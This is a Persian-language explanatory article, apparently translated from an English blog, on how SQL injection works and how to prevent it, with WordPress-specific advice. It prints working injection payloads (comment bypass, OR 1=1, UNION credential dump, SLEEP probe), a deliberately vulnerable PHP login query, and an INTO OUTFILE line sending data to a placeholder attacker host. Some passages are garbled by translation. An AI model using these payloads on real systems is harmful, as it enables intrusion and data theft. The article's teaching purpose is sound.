تزریق SQL یا SQLi یک حمله به یک برنامه وب با به خطر انداختن پایگاه داده آن از طریق دستورات SQL مخرب است.

از آنجایی که این یک حمله رایج است، بیایید سعی کنیم درباره چیستی، چگونگی وقوع و نحوه دفاع از خود در برابر آن اطلاعات بیشتری کسب کنیم.

آماده؟ بیایید شیرجه بزنیم!

SQL Injection چیست؟

تزریق SQL یا SQLi نوعی حمله به یک برنامه وب است که مهاجم را قادر می‌سازد عبارات مخرب SQL را در برنامه وب قرار دهد و به طور بالقوه به داده‌های حساس در پایگاه داده دسترسی پیدا کند یا این داده‌ها را از بین ببرد. تزریق SQL اولین بار توسط جف کشف شد. Forristal در سال ۱۹۹۸.

در دو دهه پس از کشف، تزریق SQL همواره اولویت اصلی توسعه دهندگان وب در هنگام طراحی برنامه ها بوده است.

Barclaycard در سال ۲۰۱۲ تخمین زد که ۹۷٪ از نقض داده ها با یک حمله تزریق SQL آغاز می شود . تزریق SQL حتی امروزه نیز رایج است و شدت حملات تزریق در یک برنامه وب به طور گسترده ای شناخته شده است. این یکی از ده خطر مهم امنیتی برنامه وب توسط OWASP است.

آسیب پذیری تزریق SQL چگونه کار می کند؟

یک آسیب‌پذیری تزریق SQL به مهاجم دسترسی کامل به پایگاه داده برنامه شما را از طریق استفاده از دستورات SQL مخرب می‌دهد.

در این بخش، نمونه ای از نحوه ظاهر یک برنامه آسیب پذیر را به اشتراک می گذاریم.

گردش کار یک برنامه وب معمولی را تصور کنید که شامل درخواست های پایگاه داده از طریق ورودی های کاربر است. شما ورودی کاربر را از طریق یک فرم، مثلاً فرم ورود، دریافت می‌کنید . سپس پایگاه داده خود را با فیلدهای ارسال شده توسط کاربر برای احراز هویت آنها پرس و جو می کنید. ساختار پرس و جو در پایگاه داده شما چیزی شبیه به این است:

 
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

برای سادگی، فرض کنید رمزهای عبور خود را به صورت متن شفاف ذخیره می کنید. با این حال، این یک تمرین خوب است که رمزهای عبور خود را نمک بزنید و سپس آنها را هش کنید. در ادامه، اگر نام کاربری و رمز عبور را از فرم دریافت کرده اید، می توانید پرس و جو را در PHP به صورت زیر تعریف کنید:

 
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

اگر شخصی مقدار “admin’;–” را در قسمت نام کاربری وارد کند، پرس و جوی SQL حاصل که متغیر $db_query ایجاد می کند به صورت زیر خواهد بود:

 
select * from user_table where
username = 'admin';--' and password = 'mypassword'

این پرس و جو چه کاری انجام می دهد؟

یک نظر در SQL با دو خط تیره (–) شروع می شود. پرس و جو حاصل فقط با نام کاربری بدون در نظر گرفتن رمز عبور فیلتر می شود. اگر هیچ امنیتی برای جلوگیری از این امر وجود نداشت، فقط با استفاده از این ترفند به شما اجازه دسترسی مدیریتی به برنامه وب داده می شد.

متناوبا، ممکن است در این مثال از یک حمله بولی برای دسترسی استفاده شود. اگر مهاجم “رمز عبور” یا ۱=۱;–” را در فیلد رمز عبور وارد کند، پرس و جو حاصل به صورت زیر خواهد بود:

 
select * from user_table where
username = 'admin' and
password = 'password' or ۱=۱;--';

در این صورت، حتی اگر رمز عبور شما اشتباه باشد، در برنامه احراز هویت می شوید. اگر صفحه وب شما نتایج جستجوی پایگاه داده را نمایش می دهد، مهاجم می تواند از دستور show tables، دستور برای نمایش جداول در پایگاه داده استفاده کند و سپس در صورت تمایل جداول را به صورت انتخابی رها کند.

بهره برداری از یک مادر، یک کمیک استریپ محبوب توسط XKCD، مکالمه یک مادر را با مدرسه پسرش نشان می دهد، جایی که از او پرسیده می شود که آیا واقعا نام پسرش را “رابرت” گذاشته است یا خیر. جدول رها کردن دانش آموزان; –».

انواع تزریق SQL

اکنون که اصول اولیه آسیب‌پذیری تزریق SQL را می‌دانید، بیایید انواع مختلف حملات تزریق SQL و دلیل هر یک از آنها را بررسی کنیم.

In-Band SQL Injection

In-Band SQL injection ساده ترین شکل تزریق SQL است. در این فرآیند، مهاجم می‌تواند از همان کانال برای وارد کردن کد SQL مخرب به برنامه و همچنین جمع‌آوری نتایج استفاده کند. ما دو شکل از حملات تزریق SQL درون باند را مورد بحث قرار خواهیم داد:

حمله مبتنی بر خطا

یک مهاجم از تکنیک تزریق SQL مبتنی بر خطا در مراحل اولیه حمله خود استفاده می کند. ایده پشت تزریق SQL مبتنی بر خطا دریافت اطلاعات بیشتر در مورد ساختار پایگاه داده و نام جدولی است که برنامه وب دنبال می کند. به عنوان مثال، یک پیام خطا ممکن است حاوی نام جدول موجود در پرس و جو و نام ستون های جدول باشد. سپس می توان از این داده ها برای ایجاد حملات جدید استفاده کرد.

حمله مبتنی بر اتحادیه

در این روش، مهاجمی که از اتحادیه SQL استفاده می‌کند، برای نمایش نتایج از یک جدول دیگر، می‌پیوندد. به عنوان مثال، اگر یک مهاجم در یک صفحه جستجو باشد ، ممکن است نتایج جدول دیگری را اضافه کند.

 
select title, link from post_table
where id < ۱۰
union
select username, password
from user_table; --;

تزریق استنباطی SQL (تزریق SQL کور)

حتی اگر یک مهاجم خطایی در پرس و جوی SQL ایجاد کند، ممکن است پاسخ پرس و جو مستقیماً به صفحه وب منتقل نشود. در چنین شرایطی، مهاجم نیاز به بررسی بیشتر دارد.

در این شکل از تزریق SQL، مهاجم پرس و جوهای مختلفی را به پایگاه داده ارسال می کند تا ارزیابی کند که برنامه چگونه این پاسخ ها را تجزیه و تحلیل می کند. تزریق استنباطی SQL گاهی اوقات به عنوان تزریق SQL کور نیز شناخته می شود . ما در زیر به دو نوع تزریق استنباطی SQL نگاه خواهیم کرد: تزریق SQL بولین و تزریق SQL مبتنی بر زمان.

حمله بولی

اگر یک پرس و جوی SQL منجر به خطایی شود که به صورت داخلی در برنامه بررسی نشده است، صفحه وب ایجاد شده ممکن است یک خطا ایجاد کند، یک صفحه خالی بارگیری کند یا تا حدی بارگذاری شود. در تزریق SQL بولی، مهاجم با آزمایش دو نسخه مختلف از یک عبارت بولی از طریق ورودی ارزیابی می کند که کدام بخش از ورودی کاربر در برابر تزریق SQL آسیب پذیر است:

  • “… و ۱=۱”
  • “… و ۱=۲”

اگر برنامه در حالت اول به طور معمول کار می کند اما در مورد دوم یک ناهنجاری نشان می دهد، نشان دهنده آسیب پذیر بودن برنامه در برابر حمله تزریق SQL است.

حمله مبتنی بر زمان

حمله تزریق SQL مبتنی بر زمان همچنین می تواند به مهاجم کمک کند تا تشخیص دهد که آیا آسیب پذیری در یک برنامه وب وجود دارد یا خیر. یک مهاجم از یک تابع از پیش تعریف شده مبتنی بر زمان از سیستم مدیریت پایگاه داده استفاده می کند که توسط برنامه استفاده می شود. به عنوان مثال، در MySQL ، تابع sleep() به پایگاه داده دستور می دهد که برای تعداد معینی از ثانیه منتظر بماند.

 
select * from comments
WHERE post_id=۱-SLEEP(۱۵);

اگر چنین درخواستی منجر به تاخیر شود، مهاجم می‌داند که آسیب‌پذیر است.

تزریق SQL خارج از باند

اگر مهاجم نتواند نتایج تزریق SQL را از طریق همان کانال جمع آوری کند. تکنیک های تزریق SQL خارج از باند ممکن است به عنوان جایگزینی برای تکنیک های تزریق استنباطی SQL استفاده شود.

به طور معمول، این تکنیک ها شامل ارسال داده ها از پایگاه داده به یک مکان مخرب به انتخاب مهاجم است. این فرآیند به شدت به قابلیت های سیستم مدیریت پایگاه داده نیز وابسته است.

یک حمله تزریق SQL خارج از باند از قابلیت پردازش فایل خارجی DBMS شما استفاده می کند. در MySQL، توابع LOAD_FILE() و INTO OUTFILE ممکن است برای درخواست از MySQL برای انتقال داده ها به یک منبع خارجی استفاده شوند. در اینجا آمده است که چگونه یک مهاجم ممکن است از OUTFILE برای ارسال نتایج یک پرس و جو به یک منبع خارجی استفاده کند:

 
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

به طور مشابه، تابع LOAD_FILE() ممکن است برای خواندن یک فایل از سرور و نمایش محتوای آن استفاده شود. ترکیبی از LOAD_FILE() و OUTFILE را می توان برای خواندن محتویات یک فایل روی سرور و سپس انتقال آن به مکان دیگری استفاده کرد.

نحوه جلوگیری از تزریق SQL

تاکنون، آسیب‌پذیری‌های یک برنامه وب را که ممکن است منجر به حملات تزریق SQL شود، بررسی کرده‌ایم. یک آسیب‌پذیری تزریق SQL می‌تواند توسط مهاجم برای خواندن، تغییر یا حتی حذف محتوای پایگاه داده شما استفاده شود.

علاوه بر این، ممکن است فرد را قادر به خواندن یک فایل در هر مکانی در سرور و انتقال محتویات به جای دیگر کند. در این بخش، تکنیک های مختلفی را برای محافظت از برنامه وب و وب سایت شما در برابر حملات تزریق SQL بررسی می کنیم.

فرار از ورودی های کاربر

به طور کلی، تعیین اینکه آیا یک رشته کاربری مخرب است یا نه، کار دشواری است. بنابراین، بهترین راه برای فرار از کاراکترهای خاص در ورودی کاربر است.

این فرآیند شما را از حمله تزریق SQL نجات می دهد. شما می توانید قبل از ساخت پرس و جو در PHP با استفاده از mysql_escape_string() function. همچنین می توانید با استفاده از تابع mysqli_real_escape_string()از یک رشته در MySQL فرار کنید.

هنگام نمایش خروجی به صورت HTML، همچنین باید رشته را تبدیل کنید تا مطمئن شوید که کاراکترهای خاص با نشانه گذاری HTML تداخلی ندارند. با استفاده از تابع htmlspecialchars()می توانید کاراکترهای خاص را در PHP تبدیل کنید .

از بیانیه های آماده استفاده کنید

متناوبا، می توانید از دستورات آماده شده برای جلوگیری از تزریق SQL استفاده کنید. یک عبارت آماده شده یک الگوی یک پرس و جوی SQL است که در آن پارامترهایی را در مرحله بعد برای اجرای آن مشخص می کنید. در اینجا نمونه ای از یک دستور آماده شده در PHP و MySQLi آورده شده است.

 
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

سایر بررسی های بهداشتی برای جلوگیری از حملات SQL

گام بعدی برای کاهش این آسیب پذیری محدود کردن دسترسی به پایگاه داده تنها به موارد ضروری است.

به عنوان مثال، برنامه وب خود را با استفاده از یک کاربر خاص به DBMS متصل کنید که فقط به پایگاه داده مربوطه دسترسی دارد.

دسترسی کاربر پایگاه داده را به تمام مکان های دیگر سرور محدود کنید. همچنین ممکن است بخواهید کلمات کلیدی SQL خاصی را در URL خود از طریق وب سرور خود مسدود کنید. اگر از آپاچی به عنوان وب سرور استفاده می کنید ، می توانید از خطوط کد زیر در فایل htaccess. خود استفاده کنید تا خطای ۴۰۳ Forbidden را به یک مهاجم احتمالی نشان دهید.

قبل از استفاده از این تکنیک باید مراقب باشید زیرا اگر URL حاوی این کلمات کلیدی باشد، آپاچی خطایی را به خواننده نشان می دهد.

 
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

به عنوان یک نکته پیشگیری اضافی، همیشه باید از نرم افزار به روز شده استفاده کنید . هنگامی که یک نسخه جدید یا یک پچ منتشر می شود، باگ هایی که در به روز رسانی رفع شده اند در یادداشت های انتشار به تفصیل آمده است. هنگامی که جزئیات یک باگ در معرض دید عموم قرار گرفت، اجرای نسخه قدیمی هر نرم افزاری می تواند خطرناک باشد.

SQL Injection در وردپرس

اگر از فایل‌های هسته وردپرس به‌روز استفاده می‌کنید، از هرگونه آسیب‌پذیری تزریق SQL در امان هستید . با این حال، وقتی از تم ها و افزونه های شخص ثالث استفاده می کنید ، کل برنامه شما در معرض خطر است.

سایت وردپرس شما به اندازه ضعیف ترین لینک آن قوی است . در این بخش، ملاحظات کلیدی برای کاهش آسیب‌پذیری تزریق SQL در وردپرس و نحوه انجام بررسی آسیب‌پذیری در سایت وردپرس موجود را بررسی می‌کنیم.

پیشگیری از آسیب پذیری تزریق SQL برای وردپرس

برای کاهش آسیب‌پذیری SQL Injection در قالب یا افزونه وردپرس خود ، تنها قانونی که باید رعایت کنید این است که همیشه از توابع موجود وردپرس در هنگام تعامل با پایگاه داده استفاده کنید.

این توابع به طور کامل برای آسیب‌پذیری‌های تزریق SQL در طول فرآیند توسعه وردپرس آزمایش می‌شوند. به عنوان مثال، اگر می خواهید یک نظر به یک پست اضافه کنید، به جای درج مستقیم داده ها در جدول wp_comments، از تابع ()wp_insert_comment استفاده کنید.

در حالی که توابع قابل توسعه هستند، ممکن است گاهی اوقات نیاز به اجرای یک پرس و جو پیچیده داشته باشید. در چنین حالتی، مطمئن شوید که از گروه توابع $wp_db استفاده می‌کنید . شما می توانید از $wpdb->prepare() برای فرار از ورودی کاربر قبل از ایجاد پرس و جو استفاده کنید.

علاوه بر این، در اینجا لیستی از توابع برای پاکسازی داده ها در وردپرس آمده است. اینها به شما کمک می کنند از انواع خاصی از ورودی های کاربر مانند ایمیل ها و URL ها فرار کنید.

سایت وردپرس خود را ایمن کنید

در حالی که خود وردپرس امن است ، مسائلی مانند نرم افزار اصلی قدیمی و افزونه های نال شده می تواند منجر به آسیب پذیری شود. در حالی که هیچ جایگزینی برای بررسی کامل سایت وردپرس خود برای آسیب پذیری تزریق SQL وجود ندارد، پیچیدگی یک وب سایت ممکن است این کار را چالش برانگیز کند.

می توانید از یک ابزار اسکن آنلاین مانند ThreatPass و WPScan Vulnerability Database استفاده کنید. می توانید افزونه های خود را بررسی کنید تا ببینید آیا توسعه آنها متوقف شده است یا خیر. اگر مدتی قبل رها شده بودند، ممکن است استفاده از آنها در سایت خود ایده خوبی نباشد.

اگر هنوز نیاز به استفاده مطلق از آنها دارید، مطمئن شوید که کد و عملکرد آنها را از نظر آسیب پذیری به طور کامل آزمایش کرده اید. به غیر از این، مطمئن شوید که این چک های بهداشتی را دنبال می کنید:

  • PHP، هسته وردپرس و MySQL را به روز کنید
  • افزونه ها و تم های شخص ثالث را به روز کنید
  • از استفاده از کاربر root برای اتصال پایگاه داده SQL خودداری کنید
  • دسترسی های کاربر SQL را به دایرکتوری های حساس محدود کنید
  • کلمات کلیدی SQL را با استفاده از سرور خود مسدود کنید
  • در صورت آسیب غیرقابل برگشت، نسخه پشتیبان از سایت خود را خارج از سایت نگه دارید

در اینجا یک پست مفصل در مورد امنیت وردپرس و یک لیست جامع از بررسی ها وجود دارد. علاوه بر این، ممکن است بخواهید روی این افزونه‌های امنیتی برتر برای وردپرس سرمایه‌گذاری کنید. اگر سایت وردپرس شما علی‌رغم تلاش‌های شما هک شد، در اینجا چه کاری باید انجام دهید .

آیا تزریق SQL غیرقانونی است؟

قطعا، بله! با وجود اینکه یک آسیب‌پذیری واقعی وجود دارد، مهاجم همچنان در تلاش است به داده‌هایی دسترسی پیدا کند که در غیر این صورت در دسترس او نبودند.

سناریویی را تصور کنید که در آن شخصی کلیدهای خود را در ماشین جا می گذارد. آیا رانندگی در آن فقط به دلیل باز ماندن و بدون مراقبت جرم محسوب می شود؟ عمل SQLi تحت قوانین مختلف در کشورهای مختلف قرار می گیرد. این قانون تحت قانون تقلب و سوء استفاده رایانه ای (۱۹۸۶) در ایالات متحده و قانون سوء استفاده از رایانه (۱۹۹۰) در بریتانیا قرار می گیرد .

خلاصه

آسیب پذیری های تزریق SQL مدت ها پیش کشف شد. با این حال، گزارش ۲۰۱۸ در مورد وب سایت های هک شده نشان می دهد که SQLi رایج ترین هک وب سایت برای وردپرس پس از حملات XSS است. برای جلوگیری از وقوع آنها باید:

  • نحوه عملکرد آسیب پذیری SQL Injection را بدانید
  • راه های مختلفی را بررسی کنید که در آن مهاجمان ممکن است از SQLi برای دسترسی غیرمجاز به برنامه وب شما استفاده کنند
  • روش هایی را برای محافظت از وب سایت خود در برابر حملات SQLi پیاده کنید، مانند فرار از ورودی های کاربر و استفاده از عبارات آماده شده
  • یک روال بررسی امنیتی را دنبال کنید

همانطور که ضرب المثل قدیمی می گوید: “بهتر است در امان باشید تا متاسف باشید!”

و بخوانید: